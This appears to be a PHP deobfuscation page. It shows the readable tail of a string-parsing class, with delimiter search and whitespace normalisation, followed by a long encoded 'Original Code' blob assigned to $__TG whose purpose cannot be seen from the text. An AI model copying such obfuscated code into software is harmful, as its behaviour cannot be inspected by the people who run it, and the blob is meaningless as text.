$newPos=$this->getDelimPos($string, $pos+1, $delim, $skipInBrackets);
if ($newPos !== false)
{
$pos = $newPos;
}
}
while($newPos!==false);
return $pos;
}
/**
* Converts string to lowercase and replaces repeated spaces with the single one -
* to be used for the comparison purposes only
* @param string $str string to normaize
*/
function normalizeString($str)
{
$str = strtolower($str);
$str = preg_replace('/\s+/', ' ', $str);
return $str;
}
}
Did this file decode correctly?
Original Code
$__TG='?bG?IPI0$__m 4'7Mne7XYlwmWfC/gRj[lkZX/K2m9r33otAHPg]t>o9YRRA/nmwHn9ScgCxtp/pfoqjeZt> SOAMq/>kHLC]opsO/cA=njA5oqCSnt> f+w56gSXoL]/Y53OZ=9tY9Adgq3XPI> pQ9tDj3]o=F/Zt> Sjj q/9CH=25ZN9Qgv>S/2siD9yYPglSZ=lSZApCHul/YtC3R2FCDO3wDuF/Zp> S2F3o7w YqrMLp9M/jFSX/>XnLyYPglSZ=lSZApCH=m=rByS/29tDY2dgt]ML=>HR2jH/B3C>Q3/Zp> Zpj[Z9]foqr=niS /c>OZj]en6]/DQyHZl>kDj]en]3SDQSHYl>kDOp5YLA]spT32wj[Zt>CcLpMqNpfP2j o7s }Qw Lu>HR2jH/B2kH=ZCSp>cPK2YI[2kSqr=jQT3/O>Cf=]kPF9tIBpMf+93Ls
3R1A]shScZ5FeZ5]On9mXsQy so>mLmsiD92[fN> Sj2Y/2StHI332N>/YKx=9sy5z=A]zzC3sVmOZIA/I1A]s ]QDr>mZ2x=2L3/9py3onje>N3C9qFmYQScPl>5Ls2fIqw Lplwgv9SI[2fqQrt]NC3R2mY/fAXo9m=2h3M/N]YZj]Y/]m/9N9/ZK2kW=9CH9mMZo>Xg5meDA3wD92Onc>MRmmeWz]dDFlM2o7OZ=9//ASXoq]MIoAcZ5FeD9Afoqw Luy3/c9tZ5w[nLA]si>Xgmm[Yu3e/D]tZD]/uo>CZ72foq3XPKCmSuAXrgSMsqC3IpyS/v>SsRwcqLAS>N>/YK9tY9F5sAA3gD]XPnm/s7scsuF/fzp5R9>S/5pfl=lM2oScZ5F[jz]529Z3oNsO/CAXrgSQRqASXN>MR9>Cp/9]oqrXPI>XgpZCYmAdg63Xsi>HZv>]2X33}=ptZiy]Z93O9j]YX=ZCD3>cPcjcrg3mnLl//o>YR2jH/5pfs=F/Zp>YRlyY/5pfl=l/YV>iD=lkWz3m/Qx=Yw>O/c]YZr>=2Q7]lNC32K2f2XpCH1rXP6C]gCmeD[3wgqjeSNC]gcjHsR2kH]Cmnt>M2jj[Y[2kH9mMZoA R2xt>N3C9q2SZZpM/CFeD9FkH=mXsNCwD=pkYRS/nqr=niS /c25Y7s 29yYPgTSZCAt>N2fqt7]lzT3/cxtZ7]Xoqw 6zAHZ2m[YRsig925L6Z/Yv>mjz9CHRA]sD>MS9>m97rQgtCmnIy3/5>mnYCCH=3SfN> /cjeDAmiWLlM2n3M/NlSZjw]g]mXsu>=S/m[Z[3wgq3M2N9/PjpkYRS=H=ZCSp>HR9AMoB2fYq2SZK>Xgpm[YRs 2 7]sn7f/FlXc=>eHD]=YOywDq>mYmA5fQjHn33M/NlSZjw]g]mXlzS /5>3f/>=n9F/YI>HRjAYX/A g 7S>oFmS=m[ZR3wg]mXso]XPw9k9YFkSqw[YDp/Ho>mZX3Y/F]CHoC3rQs[Z[3wg]mXsn7f/FlXc=>eSqwHjg]/u+wSRRAXHmwcY7ScgCxtp/pfoqjeZt> SOAMq/>kH=3SfN> /cA=njA5oq3=2N35/mmcrNAdgAA3gD]XPnm/s7SQgqC]op> pQpOZRSMgt]ML5>[ZwxtDjF5gqFCZtCwD=xtz=FdRqptS1p5]o3O9IwSZAA3gmF lo3O9IpCHD]Xsp>HRppkZB]Qgqr/YI>H/p2Ys[3wgqr=ncpfP22Y/2rtH9mMZoZXgOxt99p5YLA]sF>HR2jH/5pfs=F/Zp> Sm9Mo59wR92YnIy3/Cme>g]M6LA]lzsO/5>m97rQgtptpQy3/cjeDY]Xo9m/9NF]gcx=Y22kcL]M6zC3R5xtf=]k>LA]st> /cye9R3wD9FM2FZMfo>CW=]foq3/fzC3rQseZB]Xoqw IN>HRmj[nB2kcQw IoTSZKFC>gme9t3 Lp>iDumef=]k>Q3XqzpM/c9tDRsiD 7]PtC3S2FSsC3e/1yYPgFcgcStZ5]k993XPI>iDl25q/>=j=AS9VyS/Kj[f=AigLp/j/> /c2CYB33Y]j[n5A[S=pOZ9sH2FCmn5pM/VhtDR]MsAACHM3M/o9kWzxMoLA]s5sYP2yH/7SMPqC3IoCSYcmeDYCwRuZCZKC]gChtD9]On]A]scy3/c9tp/pfo 7S91AcgOxtDjA5oLA]sKC3Z2>S/m7foFptZi> Sm9Mo59wR92YnIy3/Cme>g]ML63/9NAcgcA5o7wHlQ3/YpS /csH/RsigqASZp>HRpy[YmF5gFAS>B> /2mHRR>C2qw Lu>/Yv>C9X]XqLAS9BT]/mCCWgscf+mSI[lmZq>]HmT3ZLjeDB> ]QyeY9AkZqw IN> SnmH/7SXo=336zAHXQxtYRsig925L6Z/YKy oB2kH92OncpXZ5>3omrtH92OncpXZ5ZYRR>C2qjiguy3/CAt>NA5LtxMIop5S9>Cf=>t992SYI> pQF3o5pkZq3MZ1> SmmmZRsig92Onty3/mmcrNAdgq2SZ6pfPKj om3]oqS=HNAcgcmcHX2dRtxML5>[ZwxtDOA52L3]st>H9nFCDRCCHt]XsK>HRjFCDO>kcL]MLIpdDwSkDYw oLC3Lp>cPKAeYu3e/1mXlNC3rQ9tYR]Xo xM6N> pQFCYRs 6=CCjBy3/5>CY9>dR93XlzC]gclkY[rtc=ptZiy3/cjcrg2kH]l/fQpYRm2Y/B2foq2]P5CSYC>36g93RqFSPoTS/w2Y/5pfl=lM2oF]gjFCDY3]LLA]o6CmSuAXrgSMPumMpN> Z2Ae9[seZm73rNpdD/>mYZA=2AACHM> Z2jeYB2O2AACHM>iWNAeYRs YLl/Z6p/ZK2f2XpCcLl=jQ>HRmjH/RSQRqp/nt>=S=lkDYpkPLC3L5y]Z9>S/2siD9mXlzpYR9>S/7r/2AACHM>iD2FCY9pk9LAS>Np5Smx=jz]Y2qw 6zAHZ2meDI]cf+mSI[lmZq>]HmT3ZLjeDoT32wm o2rXYAACHM>cPwm[Z[3C9LA]st>M2jpkYRs g9j qBCSRcx//Awez=A32osO/j9tDj25g 9cYpAcgcmcHZ>Qg9m/>optsFCS1gsHnm3epM>O/cmC9X33Y99M2FZMfo>]Z92fo=33LpyHRCm o7w Lq3XPI> ZQmHsRse9=2fzQy3/CF[nY3mn]AS9NAcgc2frg3]oD7S9py3on2f2Z>t>Q3XPi> YlltfzxX}+7]sw]/P=Zkjgsc/t9HYICC953O9IpS1tFmHoTm/OxtYRSMPLCmnt9/PKm[YRpS1tFmHoy /clXp=x//[m]Y sfZFm=6z3f2DA]s]>/Y2yeYRs rLAS9N35/m2Y/B2foq3/Y6A[S=lkY7se99232oZXgOxt99p5fQ2S/NsO/cjcrg2kcQjeSoA R2xt>N3C>QjHn3>iD27CjNTSnQ7]sw]/P=Zkjgsi}L332FZMfo>CPRSMzQ2SfQScZ9>m6=>t993/9py3on2f2Z>t>Q3XPiT3/cpOjzpfoqF31oA3rQF3PRm o=25IoF pN> /I2kc=3CZw>cPnTCYYykH]lM21>M2wpY/7SMRK]3Io>=S/meDIFOHR2OnIF /pAeZ5FkH1rQgqA3Y5>mZ2>/nqwcfLy3SV2eDOp5YLA]stA R2jH/B2foAACHM>HRC>CZBCCHLl=n6>/Y59CDjA5oLA]lN>XgmmeDCp3gum/>oA[Z=SzIjA52 xMZnpdDw9tDjwS/DA]s lXZlZkDA3]oI2On6p/Zv>mZA9S1tFmHoy /c9k9Asc2mjHPo>YPF9OYZxtsqjepN> pQyH/7rQg=33L5ZMrQpOZmrtH=mM2py3/5>S/7rtH93]sp> ZKm[Y9]On9ZCZiy]gcx=Y22kH l/I7]XXNmtWzxXZ=2SD7> Sm9tZ2AfoFl/YiCCIr
3P7S/nqSXY5ySZ5m[YRsePtASfzCmS=lkY7sc/t9HYIp5S2xtDOpOj+Cmn=T3/ChtDR]XoqrXPpF]gjFCYRs[SL]MZo35/Om[nCw3rt2OntpYRjlkDAwcnLl//oF]gjFCDY3wWt3S9oC3rQs[Z[2Y1tFmHopXgj9tWzAigt]/Yp3fZ2lY/B2fo]yYPgFcgC]kWzxMoLAS>Bp/XQx=YRscoRF/Yi>HR5AtY[CCH 7]Pt>cPKFS/Rse9qA]s5sksmm o2FkHqC3IoA R5]kD9FfoLC3IoFmS=m[ZR3wgqjeZi>cPKAeYRsig=m/Zp>HRjFSs[33Yqr=jN>iD=lkDjA5oLAS9NA[S=SOjz]dW=A]st>M2jpkYRyY1tFmHo>HRclCD[3wgq3XPIScZ2FCDA]QD933LpAcgg3O9IpCH F/9X]MSF]YpNwSnv9MZl>iD2pkZB]Qgq2]P5p/Z5>]rgwe9qwclzsO/2pkYRsiDq3XqzT]Z5>mLmsco 7]stC3S5>3f/>Xq=A32o7YXQxtDOAfo 3ejNy3/5ZkWzwC9q2]P5p/Z5>CYB3]nLC36zC3R5>3/Rsc/t9HYIp5S2xtDI3eHqp/np>cPvAtDA33YqC32FZMfo>S/2scoq3=2Np///xXrgs }Qw Lu>cPKAeYRSM}=A32osYPQxtYRsiD 732o>[ZwmeDjF5gq3XoIySXQ9tYRSQRq]/Y63OZ/>m6=>t993XstC3S5>]2X33gqjHjz3fZ59CDYC3gqj o1>cPKAeY9AfoqjepN> ZQ>Ss9pk9=mXs5sO/c9//Y2kH]C3IN9//2mHsu3e/1m/>B>HZ2yH1=9CSqjeZt> Sj2OZm2kHulM2opM/jx//7yY1tFmHolXZmjeYB2kHLpM>z3Y/2pkYRpS1t3/9oA5ZwAYs9pk9LC3Io3YRclkY[rtH]C]PXC32Ky[92AOYtASfzC3R2F3PI2fIAACHo> Y=FCY[CCHF3/959/P5meZ2Afou2igfy3R29XZ92fo=33LpTC9V2OYmA5Yt7]otyHHo>3LY]t9u2k]BC32rwSso3e/q3/9wye9r]kPu3e/q3/95A R2xtDAAHPqr=nIA rQ>tDIyY1t3/9oF]Zw>kP7>Msv3mfMlmZF7CWzxXZ=2SD7>iDcsenAseHmwHnM9MSv>Cjz]dDFl/YV> Zpj o7m o=251oAS/N> PRsc2mjHPop/fNZkYIFkSAACHo>H95ZYsAyY1t3/9oF or
3P2CS1t3XqQ>MRmxtDA3]lLxMLI9=/p9XZ92fo=33LpAeIr
Cnu3e/IC]qzAcgC2OYRwePumXopTwgKFC>gme9q3MooAYc+wYZm]Qg925L6Z/YKy oB2kH]CC]N9M/CAMY7se99232oA R5FeY9Afo 7]op>HR2jH/5pfs=F/Zp3M/oA5/5p5YqF3opy]Zm9=fNA5Yt7]ot>HRu>3Ls7fIm]/pNC32Ky[92AkPuFM2oSH//xt9RSMgIm/9p>/YKj o9pdgLA]st> /cye9R3wD9FM2FZ/92SeZ5FkHK3=2NskHn2kY7S/Pqr=nIA rQ>MPI2fIm]/Z69M/2jH/B33Yq3=2NskHn2kY5]5Y=33L5>[Z/3O9C3e/I]//MFeIr
3YtpCH A]PiTSZKFC>gme9qC3IFZ/959kDOsiWtmXopT]Z9>C99]fl=pMqB3M/oA5P2CS1tSM219X//h/X/A g 7]lhl=XMAX2X]t9u2k]BC3sVwSRR>3LQAHPgF3o52Y/2s rL9QgfpdDw2Y/fyfY]>SPgFS/93O9C3e/IAcY6sO/p9=nAwcnqjeZipfPvp3Pu3e/IpMZFZ/95AYZm]t9=2fzQy3/CAt9[33Y=33L5>[Zwx/s7SQRuF/fzC3R59CDA33YqC32h>H9n2kYm2foq3XPKyS/KjHX/A g 9H/3> ZQmHst>CHuFMrN>H/pmePASQgqASY5FSYO3O9C25LKw Lup5S9]kn7Z5g >]Y5y3R/Ft9r2fo=33LplSZjAkY[C3R6m/9r> f+hMoB3wD9FM2/>HR2FCD92kSqrtnpSe9o>3oB2dgqC]opyHRCxtDR332I33ZBSeHr
3Yu3SZmptZ3sO/jFCY[CCH]lM21>M2wpY/7s L=25Lt>iD=lkDAmiWLl/fN>cP22OnB2kH1rXqzA s5h//Op5YqwcY9l3/csfZ[][2q3/YpF3rQy[ZmFkHK]mLo9/P5AXrgse99232KZXgOxt99p5fQ2S/NskHr
3Yu25293]s5TC>N2[97wcnIZCZ3yScLSeZ5FdR9r=nIpts5FeZ5]On9Z]Y3sO/jFCYt7fRq3MooC32KyeYR9S1tSM2K]/Zm9//Y2kcLCCjNy3/CFeD9FkcQjHnt>cPnC]HRsc2[l/WM>HR2m Y5pkz=]MIop/9r
3Yu25293]s5TC>N2[97wcnIZCZ3yScL2frNAfHLAcfz9Qg29X2Bw]nqC3LpAYcM>SIAse9u2YnpSeHr
3Yu3SZmptZ3sO/jFCY[CCH92OncpXZ5>CZ5]k9qptZiZM2KmHI[3]n9m/91p5S2pYsRsHs=3SY6yC9o>CZ23wgqA]sIy3/9AM/B2kHmxQgw]XPk9Op/3m/Q9cs7p=Sr>3/5pOnt9 2oF32vA/IRse99232oZM2KmeZ2Afoq2mn6yS/K>tWzA Pq2SYTp5Sm9=Yu3e/IA 25CSYc2OYtxMltmXPiFmS=SkYsT32LZCSNA R29frgm YLASZpsdgvFtP7S/Pqw LI9ts5wYRR>3LI]/Zm>Xg5meDITC2t3Xs ]QDr>Cnr3krLmSPB>cPvAtDY3wWt3S9osfZFm/ZZxXgqjig[>MSlmtDYpkPLC3L=3M/oA5Yt>t99jepNy[ZvhtW=93zQ2]YhAkcoAMo7mco yfY >HZKmXHZ>Qg9F//BycgC3eDjA5Yt9 2h3M/oA5Ym]/ZuFMrN>H/pmeDITC2t3Xs ]QDr>Cnr3krLmSPB>iDuFeDOpOnuF/fzSHZO>Cf=2MrL]M6N>iD27CjNTSnQ7]sw]/P=ZkjgSXot7SZK3M/oA5Yt>t99jepNy[ZvhtW=93zQ2]YhAf/=lkY7w YLp=H1pXgj9tnZ2MrL]M6NAYcM>SIASMP=3SfNy3//3O9C3]PAACHFZ/92]MPfpS1tSM2M>HRmm oBw]qLAS>B9/PKFCf=]k9qr/nKSHXQ9tY9FkctmXPiFmS=SkDYw 293S9oCSYcmeDYw32RF/Yi>HRjlkYu3e/I9=HoA Z2j o5>dgqr=jNT3/OhXZrp5Yu2On=> YuhtW=93zQ2mHosks2AtDAZ5g >]Y5y32wFCZ2A52qptSoA3rQpk9X3wgAACHKFHY93O9C25PtmC]BCmSuAXrgsigL]MLn>[Z/F[nYpmHK3=2NskHn2kY7>QDu256zCC9Vw3Pu3e/IpMZFZ/95AOnCpCH1jepNl/zQF3o5pkZ1F3qB>[Z/F[nYp]Y1AHPgF3o2]HRR>3LIA 25CSYc2OYtxMltmXPiFmS=SkDAAeH=25LI>/YjiYI[33YLFMroAfPKA[nYCSnQm=2NskHn2kYf>CHK3=2NskHn2kYf2fIAACHKFS/93O9C3]PAACHFZ/92]MPfpS1tSM2M> SFmH/5]5Y 9H/o>M2KFCZ2rtHqA[Ho9/P5meZ2Afoq2mY/ySRcA=njA5oq3/YpF3rQy[ZmFkHqCSYtpYRjlOYt>CHK2S/N9/PvhtYt>CHK3/YpTSZv>CPRSXo=336zAHXQxtYRsig925L6Z/YKy oB3wgAACHKFcgcStZ7ZdRLl/pN> Z2y om33rtyYPgFC>o>3oO3wDu2kjN> Sm9Mq/>XnLm/95T3/jy o7mcoq2SZtA 2/h//5]5YLAS9p9=/mAkDArMPq3/fzC3rQseZB]Xoqw IN> ZwAYs9pk9LAHPgFC>o>3oO3wDu2kjN> Sm9Mq/>XnLm/95ScZ2x//7sig925L6Z/YKy oB2kH]CC]N9M/CAMY7se99232oA R5FeY9Afo 7]op>HR2jH/5pfs=F/Zp3M/oA5P7sH9tCmnI>Xg9>3oRrM}=AS95>MRm9H/5A52 9[HopY>o>S/5AkPLAS9w> ZKm[Y9]On9mXsNpfP2pkDOwcoqrtnoTSZKFmjz]Y263/9NCSYcm oBw rLlM2oy /cj o5AdD9AHPgFC>o>3oOAfo92YnIsO/cj o5AdD9lM}NC32K2f2XpCHt3 2p>/YKmeDY]XX=A]lNC3rQ9tYR]Xo xM6N> Yr>mjz9CH=25LI>/YO>CD9FkcL]MLIpdDwSkDI]igLCSfzA rQ9tYR2kc+ptZtCSRCF/ss7fYAACHKFHY93O9C25PtmC]BCmSuAXrgsH2L]M6L9M/2jH/B3wg1FCpN>H/wFm9B2kSqF3opy]Zm9tPASM2=F/ZXC32K2f2XpSPI2OjQT]Z5wSRR>3LQAHPgF3o525oB3wgtx/Yt>HRu>3LOpd}LxMLIpdDwSO9s75R]2OnIA rQ>MPI2fIAACHKFC9uhtDR]M6+9HfN>HRu>3LjA5qQ2S/w>f}MA/I93wDuFMroA5S9At9rFdRL9tHoAYR2m[YmFfY]>SPgF3o225Y7S=HLASZKCSYOp3LAZ5gFCSfgy]Z9w3Pu3e/IAHYl3M/oA5Yu33YL]ML6A[S/>3LOAfqLCSjQC]g/3O9C25L=AHPgF3o52O97rQgtl/IpT3/C3eDI>t99jepNy[ZvF[nj3C9LC3LDpY>oF[Yty5rtmMpN9XZFm[Yt2fIAACHKFmZuFeDI]coFCSYtCC9V2O97rQgtl/IpTC95wSRR>3LIpMZFZ/95A5Y9Afo92YnIsO/C25oB3wgtx/YtSeHr
3Yu3]PAACHKFC9=FCY[]tz=]MIo3YRC2Y/2s rL9Qgfy3R29=ZZA PIF=YZpt9V2O97rQgtl/IpTC95wYRR>3LIpMo1> YV2kZB]ts925L5sklowSRR>3LIpMZFZ/95A5Yt>MYLl/Z6p/Zv>SIAs 2FCSfQ> /2m PIFfI[rM6+sYHv9CDI>MYLl/Z6p/ZvwSsI7fIK7CSFZ/95AkZu3e/IAHYIySZKy q/9CHKrMLpTS/wpY/79S1tS/Yj3M/o3O9C3SZ12[HFZ/959kDO] r=]MLpA R9>m97rQgtCmnIp5S9AXrgs YLl/Z6p/Zv>Cp/9]oqwHYpFSYKxtDAwcj=]MZoTSZjlO97siWt33L5>[ZwxtDOpOj=A]PNy3/5>3omrtHK3HnKSHXQ9tf=xtZtl/fNAO/CAt9mA52qptSFZ/959YZu3e/IAcY6sO/p9=nAwcnqSXY5p/ZKm o2]52IyffNF YuhtDR]M6+9HfNF or
3f=r/1tSM2KA5ZKm[Y9]On9m/9r> pQF3o5pkZ1F32h3M/oA5f=A PqFSD5TSZkj o5AdD99tI5CSYc2OYtxMltmXPiFmS=SkYsTCPtASfzC3R2]Y/93]qL9=LxFe953O9C25LQAHPgF3o5A5LO]5L]CmntySp+h/X/A g 9H/o3YRC2Y/2s rL9QgfZXgjl5f/>/2L]mY69M/2jH/B3Sn9CSYpTC>+w/so3e/IAHYj3M/oA5Y[3mjLlM2FZ/95Aknu3e/IA 2KA5ZwAYs9pk9L]=6BCmSuAX2XCCHF3XlzA 2KjH/m
wg=25roAdgKFmnAC3R63XsplSP2pkDR3]o1FmL/AYHo>3LjA5qQ2S/w>f}MAX2ow32LFtSB9/P5meZ2AfoD]XPKy]Z9FtPf2fY]>SPgF3o2wHRR>3LI9tpzp/Z5A=L[2fom7]otpYRjlOYRS/Pqr=nIA rQ>MPI7dRuF/fzC3R5FtPASMR]C3IN9t>+9CDITwD]A32ByHRCFMoB2dgqC]opAYHo>36gC3g]pMo1CC>+wSso3e/IA 259/P5meZ2Afom7]otpYRjlOYRS/Pqr=nIA rQ>XZZ>Xn9F/YIT]Z5h//fy52t3 2p>/YKmHpgme>Q3XPiTC9o>3LOpOj=A]PNy3/2l=92A52qp/jNF //3O9C25LImXPIyS/Qh//Iy5rtmMpN9XZFm[YRsiWLAS95C3rQs[Z[2YPQ2eZ5skcoAMPu3e/IAHYl3M/oA5Yu332Im/>oAdD=l5Y7wcIK9H/N9/PvhtYm>MYt]XlzsYc+wMPu3e/IA 2K>5or
3Yu25LIpMo1> Yl2frN2QDu256zCC9VF=95Afo=33LpAYHo>3LO]5L]CmntySp+h/X/A g 9H/nF or
3Yu25LIpMZFZ/95A5Yu25LKrMLpTS/wpY/B93292OncpXZ5wtDAAeHKjeZiF]gOwYRR>3LIA 2K>Mor
3Yu25L=AHPgF3o5AkYm3wgLpMo1> YV2Ojz93PqltSBScZ2x//2>MYt]XlzsYc+wMPu3e/IA 2K>5or
3Yu25LIpMo1> Yl2frN2QDu256zCC9VF/s9F5gt9=L/> Y=ye9R3wD9F/Y[Z/YK2kW=]dg19M2FZ/95A5Yu3SDAACHKF3o5A5Yt>MYLl/Z6p/ZKw5LjAdDu]/YpycgC3eDI>M2 >mHNSeHr
3Yu25LICS/FZ/95A5Y9CS1tSM2KF]Z2pOY[332I2eI5pdD/FeD[93R]pMo1F3R2FmYt7fR1AHPgF3o5Aknu3e/IA 2KFC9=FCY[]tz=]MLMskcoAtDAAeHKjeZiF]gOwYRR>3LIA 2K9X/wxtYmFOHKrMLpTS/wpYX/w]nImXPhAO/225YVw]ouF//By s5wYRR>3LIA 2KF]gjFCY9>dR93/>oAdD=l5Y7wcIK7SY5FCInm oBC3R6mXlzT3/C2Yl=A PI2 2FZ/95A5Yu3SDAACHKF3o5A5f=A PqFSDp3Y/29//ty52]pMo1F3R/F/s[3wg92[LxF /CZ3L7s 2 xM>zA 2KjH/ty5R=mM2pAYHo>3LO]5L]CmntySp+h/X/A g 9H/nF or
3Yu25LIAHYl3M/oA5Yu25LIA 25A R2xt>N3C9 ZCS1>cZ/F/l=A PIF/YITC>+wtYsZkHF3/95S[ZuF Y79S1tSM2KF3o5AkZu3e/IA 2KF3o2m[Z[]XqQS=HoF S5xt9mAkZ1F3oppY>oFeYsTwgqCSnIZMR5FtPf2kHK2enopdDwikZ5A5Y=33poAYPKmHIRwHsL9=L/> Y=ye9R3wD9F/Y[Z/YK2kW=]dg19M2FZ/95A5Yu25LQAHPgF3o5A5Yu25LKrMLpTS/wpYX/w]nImXPhAO/225YVw]ouF//By R/wtDAAeHK3/Y5FC1owYRR>3LIA 2KFS/93O9C25LIA 2KySZ2xtf=A P1jeZil/zQF3o5pkZ1Fm6N> /225Y2rMR63/959/P5meZ2Afom7]otpYRjlOYt2fYAACHKF3o5A5f=r/1tSM2KF3o5A5Yt>MYLl/Z6p/ZK9f2op3gL]mLppY>oFeY9AdgK]]ohycgC3eDIAcqQS=H1SeHr
3Yu25LIAHYj3M/oA5Yu25L=AHPgF3o5A5f=A PqFCIly3/mAY/2r=HKrMLpTS/wpYX/w]nImXPhAO/225YVw]ouF//By s5wSRR>3LIA 2K>5or
3Yu25LIA 25A R2xt>N3C9L]CZt>M2jpkYtZkHF3/95A R2xt>N3C9 ZCS1> //3O9C25LIAHYj3M/oA5Yu3]PAACHKFS/93O9C25LuF/Yt9/PKlkDI>MYLl/Z6p/ZvwYRR>3L=AHPgF3or
3YmCC21yYPgFC>o>3IY3C>LA]lNC32Ky[92AkPuFM2p> Snmc2X33Y=332opdD/FeDRsiDuA]P6C]gc9//Y2kH]Cmnt>M2jj[Y[3wgq3/Y5FC1o>SsV3e/I9=Ho>M2KFCZ2r=cLA]P6AcgpmHZOA5L9r=niT3/=2eZ5A5Y=33poSHRVZ5Pt>CH]l/fNCSY=FC9msiD 9H/r>5rQF3o5pkZ13t1MS Y59CDA332IyfYpA R2lY/7>Ms=25LI>/YOpSsAyO219M2FZ/959YZu3e/IAcY6sO/p9=nAwcnq2]YpCSYw25YVwC2 >mHNF YuhtDR]M6+9HfNF or
3f=rMLIAHPgF3o225Y7S=HvptpNl/zQF3o5pkZ1F3qB> /mAOLX3wg19M2FZ/95Aknu3e/IA 2KA R29t9rAfnqSXfzpXZmmHso3e/IAHYj3M/oA5Yt>MYLl/Z6p/Zv>SIAsiDu256zCC9VF=YRwePumXop]MZKAY/OpfjL9=Lr>5rQF3o5pkZ1F32/> f+meY[]t9mrMLKC3pQlOYt7YPQ2OnIA rQ>MPI2kSqFmLppY>oFeY9Afo xMIB3dDKj o5AdD99tInF //3O9C25LImXPIyS/Qh//Iy5rtmMpN9XZFm[YRsiWLAS95C3rQs[Z[2YPQ2eZ5skcoAMPu3e/IAHYl3M/oA5Yu332Im/>oAdD=l5Y7wcIK9H/N9/PvhtYm>MYt]XlzsYc+wMPu3e/IA 2K>5or
3Yu25LI9tZIy]Zmy[ZmAfIK9H/N9/PvhtYm>MYt]Xlzsks9FtPB9]Rq3MooAfPKj om3]o]>SPgF3o5AkZu3e/IA 2KySZ2xtf=A PqFCI5pdD/FeD[93R]l/fNCSY=FC9msiD ]mLxF or
3Yu25LQAHPgF3o5A5Yt>MYLl/Z6p/ZKw56g3]qL]ML9A 22Aep/]dgK]]ohycgC3eDI>t9=2fzQy3//3O9C25LICS/FZ/95A5Y[3mjLlM2FZ/95A5f=r/1tSM2KF3o525oB3wgtx/YtySc+m[nCp3PLC3LpsdgvFtPB9]Rq3MooAfPKj om3]o]>SPgF3o5AkZu3e/IAHYj3M/oA5Y9Afo92YnIsO/C25oB3wgtx/YtSeHr
3Y9CS1tS/PgFSZ995PV3e/I9=Ho75pQZCY[CCctmMpN9/XQFmnYC3g 7S9NF]gc9//Y2kHLZCZ]ymZ/>Ss9pk9=2fzzT]Z5>mYmA5Yt7]ot9/PKm[Yt>CcLCSnK9M/jFS/7sigqASZp>HRjAYX/A g 9H/FZ/959kDOsiWtmXopT]Z9>C99A52R2Onty3or
3YtpCHur/fzA 2QxtDY]t9uZCZiy]gC2OYRwePumXop> pQlYsRSM2]l/fNC]gcj oB2kcL]MLIpdDwSOYRS/nq3/fzC3rQseZB]Xoqw 6zAHZ2m[YRsig925L6Z/YKy oB3wgAACHKFcgcSMoB3C9t3 Li> pQF3o5pkZAACHKFcgC]kDjAdDu]/Yp> Ylj o5AdD99M2FZ/9595Yu2Ynq3/YpTSZKC3o533o=ZCSoF ZOAtDm3]o=ZCSn3M/oA5PV25L6A]lN>H/wFm9B3S/u2YYu>=S/>3POrMgq]/Yp>=S/wSRR>3L1y52Ky /Cm[nCp3PLC36N> Ylj o5AdD99M2o]MSq>3POrMgq]/Yp>=S/wCDCwwW=l/Zp>iDuFeWz93gq3/Y5FCInx/RR>3L1y52KFC9r>CfNyfR1r=nIA rQ>MPu3e/I9=HKF3o5AkPRsigqCSnIZMR5>3PY]t9uZCZiy3s5>mYmA5Yt7]ot9/PKmeDA3]oIZCZipfPK2kW=9Cc=ptZiy3/c2frgse99232o>H/w9tPRrMP6ASfzC3R5>S/5pfl=lM2FZ/9595Yu25LI9/PoScZ2x//7S=cL]MLIpdDwS5PRsig925L6Z/YKy oB2kH]lM21pdDw2YX/A g 7]lQpdDwmeWz>Xnqw Luy3/cFCYuw]ouF/YiZMR5>S/5pfl=lM2FZ/9595Yu25L6A]shyHcMpCZ5A5Y=33Zn>HRVZYsC3e/I9XYm3M/oA5Y5]fjt33L5>[Z/>m97rQgtCmnIyC9V2OYRwePumXopyHRC2Ys[3wg92 2FZ/92]HRR>3LI9tZtCwD=xtz=AdgqCSnIZMR29H/5Akzt33Io3YRC2OYRwePumXopSeHr
3Yu25293]s5TC>N2Hs[3wg9F=YtA 2/h//7S/PqF3opy]Zm9/so3e/AACHKFC9=FCY[]tz=]MIo3YRcj o5AdD99tInSeHr
3Yu252]l/fNCm]Nj omwwDFl/fN>HRu>3LjA5qQ2S/w>5RnmHX/xQDu]/YpywD=x//fy5293]s5TC>N2Hs[3wg9F=YtA 2/h//f2fIAACHKFC9=xtD9]5ftF/Yw>M2jskZ7]XqLAS9r> Y=9/Xz>Qg6pML3ySZK]kZ5w[nLl/D5TSZvp3LjA5qQ2S/w>5R9At9rFdRLl=YtA 2/h//f2fIAACHFZ/95A5LAZ5gFAS/NsO/C3eDOp5Yu2On=lX/=lY/B33fLlMrBC3sV2Ys[3wg9Zw}zAHZnjHI[3wg63/95T3/jy o7mcoDCmncpM2QxtY[C]Y]>SPgF3o52Ys[3wg93CZI9/Zcjc2XCCHF3XlzA 2KjH/m
]qQS=H1F YumeY[]t9DCmncpM2QxtY[CCSqF3qB> /9xtW=9]Y]>SPgF3o52OYRwePumXop]MZKAY/OpfjLAS9r> pQF3o5pkZ[7SY5FC1op3LYC3gt3 1BympNj omwwDFl/fNyHRC2O97rQgFA]PiF //3O9C25LKr=jQpM/C3eDOp5Yu2On=l/PwlOnYpkPL9/WzA 2KjH/m
wgLC3L3yC9V2Ys[3wg9Zw}zAHZnjHI[3wg63/95T3/jy o7mcoDCmncpM2QxtY[C]Y1ACSFZ/95AOYRw Y92eI5>/Y2p5PR9S1tSM2KF]gjFCY9>dR93/>oA5pQpOZRsiWLAS95C3rQs Pu3e/IAHYl3M/oA5Yu25rQjeS1> /C3eDOp5Yu2On=F f+meY[]t9mrMLKC3pQl56g>MsI2OjQT]Z59CDITwgqCSnIZMR2C3o533o=ZCSB3dDvFeZ23wgL9tHoAO/225YVw]ouF//B3dDvFeZ23wgL9M2h3M/oA5Yu332I2HD5sdgkj o5AdD99tI5C3rQsePASM2]l/fNCSY=FC9msiD 9H/nF or
3Yu25LQAHPgF3o5A5Yt>M2 >mHNySc+meY[]t9mrMLKC3pQl5LsZkHF3XstA 2wmHso3e/IA 2K>Mor
